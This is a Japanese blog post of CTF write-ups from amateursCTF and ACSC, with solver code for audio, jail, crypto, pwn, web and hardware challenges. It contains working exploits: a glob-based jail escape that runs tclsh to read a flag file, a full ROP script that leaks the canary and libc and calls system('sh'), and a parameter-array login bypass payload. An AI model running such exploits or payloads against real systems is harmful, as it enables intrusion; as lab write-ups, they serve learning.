    uint16_t format_id;     // フォーマットID (PCM:1)
    uint16_t channel;   // チャネル数 (モノラル:1 ステレオ:2)
    uint32_t fs;        // サンプリング周波数
    uint32_t byte_sec;  // 1秒あたりのバイト数(fs×byte_samp)
    uint16_t byte_samp;     // 1要素のバイト数(channel×(bit/8))
    uint16_t bit;       // 量子化ビット数(8 or 16)
} FormatChunk;

typedef struct {
    char id[4];       // "data"
    uint32_t size; // data領域のサイズ
} DataChunk;

double sampleNum(FormatChunk *f, DataChunk *d) {
    return d->size / (double)f->byte_samp;
}
double waveSeccond(FormatChunk *f, DataChunk *d) {
    return sampleNum(f, d) / f->fs;
}

void printFmt(FormatChunk *f) {
    printf("%s\n", f->id);
    printf("%d\n", f->size);
    printf("%d\n", f->format_id);
    printf("%d\n", f->channel);
    printf("%d\n", f->fs);
    printf("%d\n", f->byte_sec);
    printf("%d\n", f->byte_samp);
    printf("%d\n", f->bit);
}
void printRIFF(RIFFChunk *r) {
    printf("%s\n", r->id);
    printf("%d\n", r->size);
    printf("%s\n", r->form);
}
void printData(DataChunk *d) {
    printf("%s\n", d->id);
    printf("%d\n", d->size);
}

void wavToTxt(char *wave_file, char *txt_file) {
    FILE *fp;
    fp = fopen(wave_file, "rb");
    if (fp == NULL) {
        perror("file not found");
    }
    FILE *txt;
    txt = fopen(txt_file, "w");
    if (txt == NULL) {
        perror("file cant open");
    }

    RIFFChunk riff;
    FormatChunk fmt;
    DataChunk data_chunk;

    fread(&riff, sizeof(RIFFChunk), 1, fp);
    fread(&fmt, sizeof(FormatChunk), 1, fp);
    fread(&data_chunk, sizeof(DataChunk), 1, fp);

    uint16_t *data = (uint16_t *)malloc(data_chunk.size);

    fread(data, data_chunk.size, 1, fp);

    for (int i = (data_chunk.size / 2) - 1; i >= 0; i--) {
        fprintf(txt, "%d\n", data[i]);
    }

    fclose(fp);
    fclose(txt);
    free(data);
}

void txtToWav(char *txt_file, char *wave_file) {
    FILE *wave_txt;
    wave_txt = fopen(txt_file, "r");
    if (wave_txt == NULL) {
        perror("file not found");
    }
    FILE *fp;
    fp = fopen(wave_file, "wb");
    if (fp == NULL) {
        perror("file not found");
    }
    char buf[100];
    uint32_t sample_num = 0;
    while (fgets(buf, 90, wave_txt) != NULL) {
        sample_num++;
    }
    RIFFChunk riff = {
        "RIFF",
        2130296,
        "WAVE"};

    FormatChunk fmt = {
        "fmt ",
        16,
        1,
        1,
        11025,
        22050,
        2,
        16};

    DataChunk data_chunk = {
        "data",
        2130260,
    };

    riff.size = sample_num * (fmt.bit / 8) + sizeof(RIFFChunk) + sizeof(FormatChunk) + sizeof(DataChunk) - 8;
    fmt.byte_samp = fmt.channel * (fmt.bit / 8);
    fmt.byte_sec = fmt.fs * fmt.byte_samp;
    data_chunk.size = sample_num * (fmt.bit / 8);

    // 1/3倍に変更
    fmt.fs = fmt.fs / 3;
    fmt.byte_sec = fmt.fs * fmt.byte_samp;

    fseek(wave_txt, 0, SEEK_SET);
    uint16_t *data = (uint16_t *)malloc(data_chunk.size);
    for (int i = 0; i < sample_num; i++) {
        fgets(buf, 90, wave_txt);
        data[i] = atoi(buf);
    }

    fwrite(&riff, sizeof(RIFFChunk), 1, fp);
    fwrite(&fmt, sizeof(FormatChunk), 1, fp);
    fwrite(&data_chunk, sizeof(DataChunk), 1, fp);
    fwrite(data, data_chunk.size, 1, fp);
    fclose(wave_txt);
    fclose(fp);
    free(data);
}

int main() {
    wavToTxt("laughing.wav", "wave.txt");
    txtToWav("wave.txt", "laughing2.wav");

    RIFFChunk riff;
    FormatChunk fmt;
    DataChunk data_chunk;

    FILE *wave_file;
    wave_file = fopen("laughing.wav", "rb");
    if (wave_file == NULL) {
        perror("file not found");
    }

    fseek(wave_file, 0, SEEK_SET);
    fread(&riff, sizeof(RIFFChunk), 1, wave_file);
    fread(&fmt, sizeof(FormatChunk), 1, wave_file);
    fread(&data_chunk, sizeof(DataChunk), 1, wave_file);
    printFmt(&fmt);

    printf("filesize: %d\n", riff.size);
    printf("channel num: %d\n", fmt.channel);
    printf("sampling freq: %d\n", fmt.fs);
    printf("bit num: %d\n", fmt.bit);
    printf("sample num: %f\n", sampleNum(&fmt, &data_chunk));
    printf("recording time: %f [s]\n", waveSeccond(&fmt, &data_chunk));

    return 0;
}

流用しているので無駄があるが,やっていることは,速度を落としてる.

 // 1/3倍に変更
    fmt.fs = fmt.fs / 3;
    fmt.byte_sec = fmt.fs * fmt.byte_samp;

また速度を落としたものを聞くと,逆再生されているように感じたので,データ部分を逆から読み込んでいる.

 for (int i = (data_chunk.size / 2) - 1; i >= 0; i--) {
        fprintf(txt, "%d\n", data[i]);
    }

出力されたものを聞くと,機械音声で,inverseとtransfomationsをアンダースコアでつなげてフラグラッパーでラップしたものと言っていた.

amateursCTF{inverse_transfomations}

transfomationsの最後のsを聞き取れず死んでいた.

sansomega [jail]

#!/usr/local/bin/python3
import subprocess

BANNED = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\\"\'`:{}[]'


def shell():
    while True:
        cmd = input('$ ')
        if any(c in BANNED for c in cmd):
            print('Banned characters detected')
            exit(1)

        if len(cmd) >= 20:
            print('Command too long')
            exit(1)

        proc = subprocess.Popen(
            ["/bin/sh", "-c", cmd], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)

        print(proc.stdout.read().decode('utf-8'), end='')

if __name__ == '__main__':
    shell()

Dockerfile

FROM python:3.10 as base

COPY ./shell.py /app/run
COPY ./flag.txt /app/flag.txt

FROM pwn.red/jail:latest

COPY --from=base / /srv
RUN chmod 755 /srv/app/run

ENV JAIL_TIME=300 JAIL_MEM=50M JAIL_PIDS=10 JAIL_DEV=null,zero,urandom,ptmx JAIL_PIDS=60

入力できる文字が限られている.しかし?が使えるので,以下のようなことができる.

/???/???

これにマッチする最初のファイルが実行される.

末尾が数字である対話型のプログラムを探すことにした.

いろいろ探してたらtclsh8.6を見つけた.

/???/?????8.6

とすれば実行できる.

ファイルの読み込みは以下の手順

set file [open "/app/flag.txt" r]
set content [read $file]
puts $content
exit

一連の動作をまとめてやるとフラグがもらえた.

❯ nc chal.amt.rs 2100
$ /???/?????8.6

set file [open "/app/flag.txt" r]
set content [read $file]
puts $content
exit
amateursCTF{pic0_w45n7_g00d_n0ugh_50_i_700k_som3_cr34t1v3_l1b3rt135_ade8820e}
amateursCTF{pic0_w45n7_g00d_n0ugh_50_i_700k_som3_cr34t1v3_l1b3rt135_ade8820e}

unsuspicious-rsa [crypto]

from Crypto.Util.number import *

def nextPrime(p, n):
    p += (n - p) % n
    p += 1
    iters = 0
    while not isPrime(p):
        p += n
    return p

def factorial(n):
    if n == 0:
        return 1
    return factorial(n-1) * n


flag = bytes_to_long(open('flag.txt', 'rb').read().strip())
p = getPrime(512)
q = nextPrime(p, factorial(90))
N = p * q
e = 65537
c = pow(flag, e, N)
print(N, e, c)

output.txt

172391551927761576067659307357620721422739678820495774305873584621252712399496576196263035396006999836369799931266873378023097609967946749267124740589901094349829053978388042817025552765214268699484300142561454883219890142913389461801693414623922253012031301348707811702687094437054617108593289186399175149061 65537 128185847052386409377183184214572579042527531775256727031562496105460578259228314918798269412725873626743107842431605023962700973103340370786679287012472752872015208333991822872782385473020628386447897357839507808287989016150724816091476582807745318701830009449343823207792128099226593723498556813015444306241

重要なのはnextPrimeの実装

def nextPrime(p, n):
    p += (n - p) % n
    p += 1

変なことをしている.手元で実験してみよう.

>>> p=2
>>> n=6
>>> p+(n-p)%n
6

p<nの時はp=nとなる.

p>nの時はどうだろうか.

>>> p=7
>>> n=6
>>> p+(n-p)%n
12
>>> p=13
>>> p+(n-p)%n
18
>>> p=25
>>> p+(n-p)%n
30

p=n*(p//n)となっていることがわかる.

この関数を以下のように使っているので,生成される素数は予測可能.

q = nextPrime(p, factorial(90))

factorial(90)は90!

あとは pのだいたいの値がわかればいいがこれはsqrt(n)でいいはず.

あとはsolverを書くだけ.

from Crypto.Util.number import *
import math

def nextPrime(p, n):
    p += (n - p) % n
    p += 1
    iters = 0
    while not isPrime(p):
        p += n
    return p

def factorial(n):
    if n == 0:
        return 1
    return factorial(n-1) * n

N=172391551927761576067659307357620721422739678820495774305873584621252712399496576196263035396006999836369799931266873378023097609967946749267124740589901094349829053978388042817025552765214268699484300142561454883219890142913389461801693414623922253012031301348707811702687094437054617108593289186399175149061
e=65537
c=128185847052386409377183184214572579042527531775256727031562496105460578259228314918798269412725873626743107842431605023962700973103340370786679287012472752872015208333991822872782385473020628386447897357839507808287989016150724816091476582807745318701830009449343823207792128099226593723498556813015444306241

factorial_n=factorial(90)
t=int(math.sqrt(N))//factorial_n
q=factorial_n*t+1
while N%q!=0:
    q+=factorial_n

# print(factorial(90))
print(q)
p=N//q

phi=(p-1)*(q-1)

d=pow(e,-1,phi)

m=pow(c,d,N)

print(long_to_bytes(m))

実行するとフラグがもらえた.

amateursCTF{here's_the_flag_you_requested.}

faked-onion

#!/usr/local/bin/python3

import hmac
from os import urandom


def strxor(a: bytes, b: bytes):
    return bytes([x ^ y for x, y in zip(a, b)])


class Cipher:
    def __init__(self, key: bytes):
        self.key = key
        self.block_size = 16
        self.rounds = 1

    def F(self, x: bytes):
        return hmac.new(self.key, x, "md5").digest()[:15]

    def encrypt(self, plaintext: bytes):
        plaintext = plaintext.ljust(self.block_size, b"\x00")
        ciphertext = b""

        for i in range(0, len(plaintext), self.block_size):
            block = plaintext[i : i + self.block_size]
            for _ in range(self.rounds):
                L, R = block[:-1], block[-1:]
                L, R = R, strxor(L, self.F(R))
                block = L + R
            ciphertext += block

        return ciphertext


key = urandom(16)
cipher = Cipher(key)
flag = open("flag.txt", "rb").read().strip()

print("faked onion")
while True:
    choice = input("1. Encrypt a message\n2. Get encrypted flag\n3. Exit\n> ").strip()

    if choice == "1":
        pt = input("Enter your message in hex: ").strip()
        pt = bytes.fromhex(pt)
        print(cipher.encrypt(pt).hex())
    elif choice == "2":
        print(cipher.encrypt(flag).hex())
    else:
        break

print("Goodbye!")

まずdecrypt関数を作る.これはencryptの逆の手順をする関数を作ればいい.

def decrypt(ciphertext: bytes, hash_table: list):
    block_size = 16
    plaintext = b""
    rounds = 1
    c = 0
    for i in range(0, len(ciphertext), block_size):
        block = ciphertext[i : i + block_size]
        for _ in range(rounds):
            L, R = block[:1], block[1:]
            L, R = strxor(R, hash_table[c]), L
            block = L + R
        plaintext += block
        c += 1
    return plaintext.rstrip(b"\x00")

あとはフラグを暗号化するときの,F(R)の値を特定すればいいのだが,encryptの実装を見るとわかる通り,平文の16バイト目を使って作っている. さらに,その平文の16バイト目は暗号化されずに出力されている.

    def encrypt(self, plaintext: bytes):
        plaintext = plaintext.ljust(self.block_size, b"\x00")
        ciphertext = b""

        for i in range(0, len(plaintext), self.block_size):
            block = plaintext[i : i + self.block_size]
            for _ in range(self.rounds):
                L, R = block[:-1], block[-1:]
                L, R = R, strxor(L, self.F(R))
                block = L + R
            ciphertext += block

        return ciphertext

このことから,フラグを暗号化するときの,F(R)の値は,\x00*15+その16バイト目の値で取得できる.

これをもとにsolverを書く

#!/usr/local/bin/python3

import hmac
from os import urandom
from pwn import *


def strxor(a: bytes, b: bytes):
    return bytes([x ^ y for x, y in zip(a, b)])


def decrypt(ciphertext: bytes, hash_table: list):
    block_size = 16
    plaintext = b""
    rounds = 1
    c = 0
    for i in range(0, len(ciphertext), block_size):
        block = ciphertext[i : i + block_size]
        for _ in range(rounds):
            L, R = block[:1], block[1:]
            L, R = strxor(R, hash_table[c]), L
            block = L + R
        plaintext += block
        c += 1
    return plaintext.rstrip(b"\x00")


io = remote("chal.amt.rs", 1414)
block_size = 16

io.sendlineafter(b"> ", b"2")
flag_crypt = io.readline()[:-1]
flag_crypt_bytes = bytes.fromhex(flag_crypt.decode())
print(flag_crypt)
print(flag_crypt_bytes)
flag_parts = []
for i in range(0, len(flag_crypt_bytes), block_size):
    flag_parts.append(flag_crypt_bytes[i])

print(len(flag_crypt_bytes) / block_size)
print(flag_parts)


hash_table = []
for i in flag_parts:
    payload = b"00" * 15 + hex(i)[2:].ljust(2, "0").encode()
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"Enter your message in hex: ", payload)

    print(payload)

    flag_part_hash = io.readline()[:-1]
    flag_part_hash_bytes = bytes.fromhex(flag_part_hash.decode())
    print(len(flag_part_hash_bytes))
    hash_table.append(flag_part_hash_bytes[1:])

print(hash_table)


flag = decrypt(flag_crypt_bytes, hash_table)

print(flag)

実行するとフラグがもらえた.

amateursCTF{oh_no_my_one_of_a_kind-err_sorry,_f4ked_on10n_cipher_got_ki11ed_730eb1c0}'

おわり

問題数が多くて,面白い問題が多かった.解き切れていないのでおいおい解いていこうと思う.

楽しかった.

hatenablogのwebエディタで書いたらめちゃおもになって,writeup書くの大変だった.

読んでくれてありがとうございました.終わりです.

ACSCのやつ

ACSC

簡単な問題だけ解けました. 楽しかったです.

rot13 [pwn]

#include <stdio.h>
#include <string.h>

#define ROT13_TABLE                                                    \
   "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" \
   "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" \
   "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f" \
   "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f" \
   "\x40\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x41\x42" \
   "\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x5b\x5c\x5d\x5e\x5f" \
   "\x60\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x61\x62" \
   "\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x7b\x7c\x7d\x7e\x7f" \
   "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f" \
   "\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" \
   "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf" \
   "\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" \
   "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf" \
   "\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" \
   "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef" \
   "\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

void rot13(const char *table, char *buf) {
    printf("Result: ");
    for (size_t i = 0; i < strlen(buf); i++)
        putchar(table[buf[i]]);
    putchar('\n');
}

int main() {
    const char table[0x100] = ROT13_TABLE;
    char buf[0x100];
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    while (1) {
        printf("Text: ");
        memset(buf, 0, sizeof(buf));
        if (scanf("%[^\n]%*c", buf) != 1)
            return 0;
        rot13(table, buf);
    }
    return 0;
}
❯ checksec rot13         
[*] '/home/trimscash/acsc/pwn/distfiles-rot13/rot13'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

rot13をテーブルを用いて実装している.

まず以下を見るとtable配列の要素をbuf[i]で指定している. ここでbufcharであるので,マイナスを取りうる.

例えば\xffをbufに入れておけばtableの上のデータを見ることができる.

void rot13(const char *table, char *buf) {
    printf("Result: ");
    for (size_t i = 0; i < strlen(buf); i++)
        putchar(table[buf[i]]);
    putchar('\n');
}

これにより,スタック上のrot13関数のリターンアドレスと,canaryとスタックのbase addrがリークできる.

なのであとは以下の部分に存在するbuf overflowでROPする.

     if (scanf("%[^\n]%*c", buf) != 1)
            return 0;

ここでlibc addrのリークが必要だが,これもrot13を読んだときのスタックに積まれていた. putchar+119

putchar+119

libcは配布されているDockerfileにより入手できる

FROM ubuntu:22.04@sha256:bcc511d82482900604524a8e8d64bf4c53b2461868dac55f4d04d660e61983cb
ENV DEBIAN_FRONTEND noninteractive

文字列/bin/shbase addrがあるので,スタックに積んでおきそれを使う.

以下solver.py

from pwn import *
from pwn import packing

libc = ELF("./libc.so.6")
# io = process("./rot13")
# io = gdb.debug("./rot13", "b main\nc")
io = remote("rot13.chal.2024.ctf.acsc.asia", 9999)

payload = b""

leak_num = 15

for i in range(1, 0x8 * leak_num + 1):
    payload += pack(-i, 8, "little", True)

print(payload)

io.sendlineafter(b"Text: ", payload)

io.recvuntil(b"Result: ")
res = io.readline()[:-1]
print(res)

leaks = []
for i in range(leak_num):
    temp = res[i * 8 : i * 8 + 8][::-1]
    leaks.append(u64(temp))

ret_addr = leaks[0]
base_addr = leaks[1]
canary = leaks[2]
putchar_addr = leaks[-1]  # <putchar+119>
libc_base = putchar_addr - (libc.sym["putchar"] + 119)

print(hex(ret_addr))
print(hex(base_addr))
print(hex(canary))

print(hex(putchar_addr))
print(hex(libc.sym["putchar"]))
print(hex(libc_base))

pop_rdi = 0x2A3E5 + libc_base
sh_str = 0xDBCE8 + libc_base
system = libc.sym["system"] + libc_base
nop = 0x378DE + libc_base

print(hex(libc.sym["system"]))

binsh_addr = base_addr + 0x8 * 5

payload = b"a" * 0x108 + p64(canary) + b"b" * 8
payload += p64(nop)
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system)
payload += b"sh"
print(payload)
io.sendlineafter(b"Text: ", payload)
io.sendline()

io.interactive()

実行するとシェルが取れフラグがもらえた.

ACSC{aRr4y_1nd3X_sh0uLd_b3_uNs1Gn3d}

login [web]

app.js

const express = require('express');
const crypto = require('crypto');
const FLAG = process.env.FLAG || 'flag{this_is_a_fake_flag}';

const app = express();
app.use(express.urlencoded({ extended: true }));

const USER_DB = {
    user: {
        username: 'user',
        password: "crypto.randomBytes(32).toString('hex')"
    },
    guest: {
        username: 'guest',
        password: 'guest'
    }
};

app.get('/', (req, res) => {
    res.send(`
    <html><head><title>Login</title><link rel="stylesheet" href="https://cdn.simplecss.org/simple.min.css"></head>
    <body>
    <section>
    <h1>Login</h1>
    <form action="/login" method="post">
    <input type="text" name="username" placeholder="Username" length="6" required>
    <input type="password" name="password" placeholder="Password" required>
    <button type="submit">Login</button>
    </form>
    </section>
    </body></html>
    `);
});

app.post('/login', (req, res) => {
    const { username, password } = req.body;
    if (username.length > 6) return res.send('Username is too long');

    const user = USER_DB[username];
    if (user && user.password == password) {
        if (username === 'guest') {
            res.send('Welcome, guest. You do not have permission to view the flag');
        } else {
            res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`);
        }
    } else {
        res.send('Invalid username or password');
    }
});

app.listen(5000, () => {
    console.log('Server is running on port 5000');
});

Dockerfile

FROM node:alpine

WORKDIR /app
COPY app.js /app

RUN yarn add express

CMD ["node", "app.js"]

docker-compose.yaml

version: '3.5'
services:
  web:
    build: .
    ports:
      - "5000:5000"
    environment:
      FLAG: ACSC{fake}

開くと以下. これにguest以外としてログインすればフラグがもらえる.

app.jsを見ると,express.urlencoded({ extended: true })とある.

const app = express();
app.use(express.urlencoded({ extended: true }));

以下のページによると,username[]=aなどとすると,配列が作れるらしい.

blog.hamayanhamayan.com

手元で適当に実際に試してみると,確かに配列になっていることがわかる.

これを用いて何とかならないか.

いろいろと手元でガチャガチャしていたら. ["guest"]=="guest"がtrueになることがわかった.

    const user = USER_DB[username];
    if (user && user.password == password) {
        if (username === 'guest') {
            res.send('Welcome, guest. You do not have permission to view the flag');
        } else {
            res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`);
        }
    } else {
        res.send('Invalid username or password');
    }

これにより,username[]=guestとリクエストすると.(つまりusername=["guest"]) ここで,userがguestになり.

    const user = USER_DB[username];

ここでは,===で型を含めて比較しているので,以下がfalseになりフラグが取得できるはず.

        if (username === 'guest') {

最終的なpayloadは以下のようになった.

username[]=guest&password=guest

これを送る.

curlでやったらなんか駄目だった.ローカルでは行けた.

フラグがもらえた.

ACSC{y3t_an0th3r_l0gin_byp4ss}

An4lyz3-1t [hardware]

Our surveillance team has managed to tap into a secret serial communication and capture a digital signal using a Saleae logic analyzer. Your objective is to decode the signal and uncover the hidden message.

配布ファイルを展開すると,拡張子がsalのファイルがあった.

問題文によると,Saleae logic analyzerを使って記憶したシリアル通信とのことなので,

Saleae logic analyzerのソフトをインストールしてみてみる.

www.saleae.com

するとこんな感じ.

一番幅が小さそうなとこを見ると,9.596kHzと57.554Hzという値が出てきた.なので,これに近い一般的に使われるボーレートを指定してみる.

www.renesas.com

Add analyzerからAsync Serialを指定して設定できる.このBit Rateがそれ.

試せばわかるが以下のように57600Hzにした時が一番それらしかった.

しかし,framing errorとなっている.

以下のページを見るといい感じの図があるのだが,シリアル通信には,stop bitというものがあり,それはHighになっていないといけない.上の図でいうと赤いバツがついているところがHighでないといけない.

www.japansensor.co.jp

では,あと一ビット文何かが足りないはず.シリアル通信にはオプションでparity bitをつけることができるので,多分それが足りていない. また信号を見るとわかる通り,偶数個のHighになっているのでeven parityであることがわかる.

これを指定すればいい.

横のAnalyzerタブから先ほど追加したAnalyzerを編集する.

Parity BitEven Parity Bitを指定する.

するといい感じに見えている.

横のAnalyzerタブのTerminalを見るとフラグが見えた.

ACSC{b4by4n4lyz3r_548e8c80e}

以上

Web, Cryptoをもっと解けるようになりたい.(というか全部解けるようになりたい.)と言いつつたゆまぬ努力というやつができていないのだが..

頑張ります.

楽しかったです.

解けなくて悩んでいる時,観る将棋が存在し得るなら,観るのCTFも存在し得ることに気づいた(((

観るCTFerとして頑張ります((うそです

flag{hello_my_friend}